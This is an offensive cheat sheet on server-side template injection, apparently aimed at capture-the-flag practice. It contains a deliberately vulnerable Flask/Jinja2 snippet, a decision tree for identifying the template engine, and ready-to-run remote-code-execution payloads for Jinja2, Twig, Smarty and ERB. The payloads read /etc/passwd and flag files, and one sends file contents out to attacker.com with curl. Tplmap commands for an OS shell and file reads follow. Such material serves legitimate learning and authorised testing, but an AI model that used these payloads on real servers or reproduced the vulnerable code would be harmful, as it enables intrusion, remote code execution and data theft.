Server-Side Template Injection (SSTI)
Escape template engine sandboxes (Jinja2, Twig, Smarty, ERB) to read sensitive files and execute remote code on the target server.
// prerequisite reading
What is SSTI?
Server-Side Template Injection occurs when user input is concatenated directly into template engine directives rather than passed as data parameters.
Vulnerable Code Example (Python Jinja2)
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name')
# Unsafe concatenation allows execution of Jinja expressions
template = f"<h1>Hello {name}</h1>"
return render_template_string(template)
If name={{ 7*7 }} is supplied, the rendered output displays Hello 49.
Template Engine Identification Matrix
Inject evaluation expressions to identify the underlying engine:
${7*7}
/ \
renders 49 renders ${7*7}
/ \
{{7*7}} #{7*7}
/ \ / \
renders 49 {{7*'7'}} renders 49 renders #{7*7}
/ \ | |
Jinja2 Twig/Mako Ruby ERB Smarty
| Engine Payload Test | Engine Identified |
|---|---|
{{ 7 * '7' }} -> 7777777 |
Jinja2 (Python) |
{{ 7 * '7' }} -> 49 |
Twig (PHP) |
${7*7} -> 49 |
Smarty / Freemarker (PHP/Java) |
<%= 7*7 %> -> 49 |
ERB (Ruby) |
Exploitation by Engine
1. Jinja2 (Python) Sandbox Escape & RCE
Access object inheritance trees (__mro__, __subclasses__()) to reach OS execution modules (subprocess.Popen or os):
Basic Jinja2 RCE Payload
{{ ''.__class__.__mro__[1].__subclasses__() }}
Locate the index for subprocess.Popen or os._wrap_close, or use a generalized snippet:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}
Blind Jinja2 Out-Of-Band Payload
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://attacker.com/$(cat /flag.txt | base64)') }}
2. Twig (PHP) RCE Payloads
Twig provides built-in filter functions like filter or sort that accept PHP callbacks:
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
In newer Twig versions (v2/v3):
{{ ['id']|map('system') }}
{{ ['cat /flag.txt']|map('passthru') }}
3. Smarty (PHP) RCE Payloads
Smarty templates allow direct execution of PHP code or {system} blocks if enabled:
{system('cat /flag.txt')}
{PHP}passthru('id');{/PHP}
{$smarty.template}
4. ERB (Ruby) RCE Payloads
Ruby ERB templates evaluate standard Ruby expressions inside <%= %> tags:
<%= system('id') %>
<%= `cat /flag.txt` %>
<%= IO.read('/etc/passwd') %>
Automated SSTI Exploitation with Tplmap
Tplmap automates detection and exploitation of template injection vulnerabilities across multiple engines:
# Scan parameter for SSTI
python2 tplmap.py -u "http://target.com/hello?name=John"
# Execute interactive OS shell
python2 tplmap.py -u "http://target.com/hello?name=John" --os-shell
# Exfiltrate target file
python2 tplmap.py -u "http://target.com/hello?name=John" --file-read "/flag.txt"